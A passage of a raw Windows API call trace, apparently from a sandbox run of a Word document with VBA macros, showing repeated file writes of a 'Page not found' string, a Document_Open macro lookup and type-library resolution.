lpUsedDefaultChar=0x0) returned 97 [0120.349] _write (in: _FileHandle=3, _Buf=0x2764ba4cc50*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4cc50*) returned 97 [0120.349] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4cc50) [0120.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4cc50 [0120.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4cc50, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.349] _write (in: _FileHandle=3, _Buf=0x2764ba4cc50*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4cc50*) returned 97 [0120.349] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4cc50) [0120.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4e170 [0120.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4e170, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.349] _write (in: _FileHandle=3, _Buf=0x2764ba4e170*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4e170*) returned 97 [0120.350] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4e170) [0120.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4cc50 [0120.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4cc50, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.350] _write (in: _FileHandle=3, _Buf=0x2764ba4cc50*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4cc50*) returned 97 [0120.350] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4cc50) [0120.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4e170 [0120.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4e170, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.350] _write (in: _FileHandle=3, _Buf=0x2764ba4e170*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4e170*) returned 97 [0120.350] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4e170) [0120.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4e170 [0120.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4e170, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.350] _write (in: _FileHandle=3, _Buf=0x2764ba4e170*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4e170*) returned 97 [0120.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4e170) [0120.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4d6e0 [0120.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4d6e0, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.351] _write (in: _FileHandle=3, _Buf=0x2764ba4d6e0*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4d6e0*) returned 97 [0120.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4d6e0) [0120.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4d6e0 [0120.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4d6e0, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.351] _write (in: _FileHandle=3, _Buf=0x2764ba4d6e0*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4d6e0*) returned 97 [0120.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4d6e0) [0120.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4cc50 [0120.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4cc50, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.351] _write (in: _FileHandle=3, _Buf=0x2764ba4cc50*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4cc50*) returned 97 [0120.352] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4cc50) [0120.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4eda0 [0120.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4eda0, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.352] _write (in: _FileHandle=3, _Buf=0x2764ba4eda0*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4eda0*) returned 97 [0120.352] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4eda0) [0120.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764ba4cc50 [0120.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" Page not found This question was voluntarily removed by its author. ", cchWideChar=97, lpMultiByteStr=0x2764ba4cc50, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Page not found This question was voluntarily removed by its author. ", lpUsedDefaultChar=0x0) returned 97 [0120.352] _write (in: _FileHandle=3, _Buf=0x2764ba4cc50*, _MaxCharCount=0x61 | out: _Buf=0x2764ba4cc50*) returned 97 [0120.352] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4cc50) [0120.352] _close (_FileHandle=3) returned 0 [0120.354] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba253b0) [0120.363] SetCursor (hCursor=0x10007) returned 0x10007 [0120.363] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db480 [0120.363] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db5c0 [0120.363] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db720 [0120.363] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db480) [0120.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b1637a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0120.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b1637a8, cbMultiByte=-1, lpWideCharStr=0x2764b95f3a8, cchWideChar=8 | out: lpWideCharStr="Pikatop") returned 8 [0120.366] RtlUnwindEx (TargetFrame=0xb5690f6470, TargetIp=0x7ff9bdf24975, ExceptionRecord=0x0, ReturnValue=0xb5690f6580, ContextRecord=0xb5690f5ee0, HistoryTable=0x0) [0120.370] SysStringByteLen (bstr="潎浲污") returned 0x6 [0120.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b95f408, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0120.371] SysStringByteLen (bstr="潎浲污") returned 0x6 [0120.371] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b95f408, cbMultiByte=7, lpWideCharStr=0x2764b95fa68, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0120.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f5bf0, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0120.371] lstrlenA (lpString="Normal") returned 6 [0120.374] PeekMessageA (in: lpMsg=0xb5690f6260, hWnd=0x0, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x0 | out: lpMsg=0xb5690f6260) returned 0 [0120.374] PostMessageA (hWnd=0x30312, Msg=0x1045, wParam=0x0, lParam=0x0) returned 1 [0120.380] GetObjectA (in: h=0x205099c, c=32, pv=0xb5690f58f0 | out: pv=0xb5690f58f0) returned 32 [0120.446] GetSysColor (nIndex=18) returned 0x0 [0120.446] SetTextColor (hdc=0x2010471, color=0x0) returned 0x0 [0120.446] GetSysColor (nIndex=15) returned 0xf0f0f0 [0120.446] SetBkColor (hdc=0x2010471, color=0xf0f0f0) returned 0xffffff [0120.446] lstrlenA (lpString="") returned 0 [0120.446] GetTextExtentPoint32A (in: hdc=0x2010471, lpString="", c=0, psizl=0xb5690f5df0 | out: psizl=0xb5690f5df0) returned 1 [0120.446] MulDiv (nNumber=17, nNumerator=1, nDenominator=2) returned 9 [0120.446] lstrlenA (lpString="") returned 0 [0120.446] ExtTextOutA (hdc=0x2010471, x=475, y=14, options=0x0, lprect=0xb5690f5e00, lpString="", c=0x0, lpDx=0x0) returned 1 [0120.602] SysStringByteLen (bstr="潎浲污") returned 0x6 [0120.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b95f408, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0120.602] SysStringByteLen (bstr="潎浲污") returned 0x6 [0120.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b95f408, cbMultiByte=7, lpWideCharStr=0x2764b95fa68, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0120.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f5b20, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0120.602] lstrlenA (lpString="Normal") returned 6 [0120.608] DestroyWindow (hWnd=0x20388) returned 1 [0120.611] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x348) returned 0x2764b8e63d0 [0120.613] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb0) returned 0x2764b72fb00 [0120.613] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b72fb00) returned 0xb0 [0120.613] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa4500) [0120.613] IUnknown:Release (This=0x276454bf8a0) returned 0x4 [0120.614] IUnknown:Release (This=0x276454c2ce0) returned 0x16 [0120.614] IUnknown:Release (This=0x276454c2a20) returned 0x12 [0120.614] IUnknown:Release (This=0x276454c16e0) returned 0x3 [0120.614] IUnknown:Release (This=0x2763beee850) returned 0x5 [0120.614] IUnknown:Release (This=0x2764b865580) returned 0x1 [0120.614] IUnknown:Release (This=0x2764b6d0130) returned 0x2 [0120.614] IUnknown:Release (This=0x2764b865dc0) returned 0x1 [0120.614] IUnknown:Release (This=0x2764b6d0970) returned 0x2 [0120.614] IUnknown:Release (This=0x2764b868440) returned 0x1 [0120.614] IUnknown:Release (This=0x2764b866340) returned 0x4 [0120.614] IUnknown:Release (This=0x2764b866b80) returned 0x3 [0120.614] GetCurrentProcess () returned 0xffffffffffffffff [0120.614] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5511c, dwSize=0x4c) returned 1 [0120.614] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5511c, ImageBase=0xb5690f57c8, HistoryTable=0xb5690f57d0 | out: ImageBase=0xb5690f57c8, HistoryTable=0xb5690f57d0) returned 0x2764ba55178 [0120.614] GetCurrentProcess () returned 0xffffffffffffffff [0120.614] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba551d8, dwSize=0x5c) returned 1 [0120.614] RtlLookupFunctionEntry (in: ControlPc=0x2764ba551d8, ImageBase=0xb5690f57c8, HistoryTable=0xb5690f57d0 | out: ImageBase=0xb5690f57c8, HistoryTable=0xb5690f57d0) returned 0x2764ba55244 [0120.625] GetSysColor (nIndex=18) returned 0x0 [0120.625] SetTextColor (hdc=0x2010471, color=0x0) returned 0x0 [0120.625] GetSysColor (nIndex=15) returned 0xf0f0f0 [0120.625] SetBkColor (hdc=0x2010471, color=0xf0f0f0) returned 0xffffff [0120.625] lstrlenA (lpString="") returned 0 [0120.625] GetTextExtentPoint32A (in: hdc=0x2010471, lpString="", c=0, psizl=0xb5690f5df0 | out: psizl=0xb5690f5df0) returned 1 [0120.625] MulDiv (nNumber=17, nNumerator=1, nDenominator=2) returned 9 [0120.625] lstrlenA (lpString="") returned 0 [0120.625] ExtTextOutA (hdc=0x2010471, x=475, y=14, options=0x0, lprect=0xb5690f5e00, lpString="", c=0x0, lpDx=0x0) returned 1 [0120.646] SysStringByteLen (bstr="潎浲污") returned 0x6 [0120.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b95f408, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0120.646] SysStringByteLen (bstr="潎浲污") returned 0x6 [0120.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b95f408, cbMultiByte=7, lpWideCharStr=0x2764b95fa68, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0120.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f5b20, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0120.646] lstrlenA (lpString="Normal") returned 6 [0120.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db5c0) [0120.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db720) [0120.648] RtlUnwindEx (TargetFrame=0xb5690f6710, TargetIp=0x7ff9bdf24975, ExceptionRecord=0x0, ReturnValue=0xb5690f68d0, ContextRecord=0xb5690f5f90, HistoryTable=0x0) [0120.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645570de0) [0120.662] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af38928, memid=5, refPtrFlags=0x690f6e30, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27600000000 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27600000000) returned 0x0 [0120.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0xb5690f6e80, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0120.662] _mbscpy_s (in: _Dst=0xb5690f6cd0, _DstSizeInBytes=0xe, _Src=0x27651fa2b3e | out: _Dst=0xb5690f6cd0) returned 0x0 [0120.662] _mbscpy_s (in: _Dst=0xb5690f6cd9, _DstSizeInBytes=0x5, _Src=0xb5690f6e80 | out: _Dst=0xb5690f6cd9) returned 0x0 [0120.662] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document_Open") returned 0x4089c1 [0120.662] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb0a610 [0120.662] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0120.662] IUnknown:Release (This=0x2764af38878) returned 0x1 [0120.662] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6838 | out: ppvObject=0xb5690f6838*=0x0) returned 0x80004002 [0120.662] IUnknown:Release (This=0x2764af38928) returned 0x3 [0120.662] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6838 | out: ppvObject=0xb5690f6838*=0x0) returned 0x80004002 [0120.663] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0120.663] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6838 | out: ppvObject=0xb5690f6838*=0x0) returned 0x80004002 [0120.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa4500 [0120.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b72da00 [0120.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b72cec0 [0120.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba57710 [0120.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba56990 [0120.663] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6838 | out: ppvObject=0xb5690f6838*=0x0) returned 0x80004002 [0120.663] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6838 | out: ppvObject=0xb5690f6838*=0x0) returned 0x80004002 [0120.663] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6838 | out: ppvObject=0xb5690f6838*=0x0) returned 0x80004002 [0120.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x50) returned 0x2763a18e3f0 [0120.663] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0120.663] IUnknown:AddRef (This=0x276454bf8a0) returned 0x5 [0120.663] ITypeLib:RemoteGetLibAttr (in: This=0x276454bf8a0, ppTLibAttr=0xb5690f5d68, pDummy=0x0 | out: ppTLibAttr=0xb5690f5d68, pDummy=0x0) returned 0x0 [0120.663] ITypeLib:RemoteGetDocumentation (in: This=0x276454bf8a0, index=-1, refPtrFlags=0x690f5d80, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0120.663] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b9ca1c0 [0120.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0xb5690f5df0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\x09:v\x02", lpUsedDefaultChar=0x0) returned 66 [0120.663] strcpy_s (in: _Dst=0x2764b669310, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0120.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0xb5690f5f00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0120.663] strcpy_s (in: _Dst=0x2764b669360, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0120.663] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b9c5870 [0120.663] IUnknown:AddRef (This=0x276454bf8a0) returned 0x6 [0120.664] ITypeLib:LocalReleaseTLibAttr (This=0x276454bf8a0) returned 0x0 [0120.664] IUnknown:Release (This=0x276454bf8a0) returned 0x5 [0120.664] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5 [0120.664] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0120.664] IUnknown:AddRef (This=0x276454c2ce0) returned 0x17 [0120.664] ITypeLib:RemoteGetLibAttr (in: This=0x276454c2ce0, ppTLibAttr=0xb5690f5d68, pDummy=0x0 | out: ppTLibAttr=0xb5690f5d68, pDummy=0x0) returned 0x0 [0120.664] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x690f5d80, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0120.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0xb5690f5df0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLBVBE7.DLL", lpUsedDefaultChar=0x0) returned 58 [0120.664] strcpy_s (in: _Dst=0x2764b6693d0, _DstSize=0x3b, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0120.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0xb5690f5f00, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0120.664] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba547d0 [0120.664] strcpy_s (in: _Dst=0x2764ba547f8, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0120.664] IUnknown:AddRef (This=0x276454c2ce0) returned 0x18 [0120.664] ITypeLib:LocalReleaseTLibAttr (This=0x276454c2ce0) returned 0x0 [0120.664] IUnknown:Release (This=0x276454c2ce0) returned 0x17 [0120.664] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0120.665] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5 [0120.665] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0 [0120.665] IUnknown:AddRef (This=0x276454c2a20) returned 0x13 [0120.665] ITypeLib:RemoteGetLibAttr (in: This=0x276454c2a20, ppTLibAttr=0xb5690f5d68, pDummy=0x0 | out: ppTLibAttr=0xb5690f5d68, pDummy=0x0) returned 0x0 [0120.665] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2a20, index=-1, refPtrFlags=0x690f5d80, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0120.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0xb5690f5df0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\stdole2.tlbce\\Root\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 31 [0120.665] strcpy_s (in: _Dst=0x2764ba54868, _DstSize=0x20, _Src="C:\\Windows\\System32\\stdole2.tlb" | out: _Dst="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0120.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0xb5690f5f00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0120.665] strcpy_s (in: _Dst=0x2764ba54890, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0120.665] IUnknown:AddRef (This=0x276454c2a20) returned 0x14 [0120.665] ITypeLib:LocalReleaseTLibAttr (This=0x276454c2a20) returned 0x0 [0120.665] IUnknown:Release (This=0x276454c2a20) returned 0x13 [0120.665] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0120.666] _wcsicmp 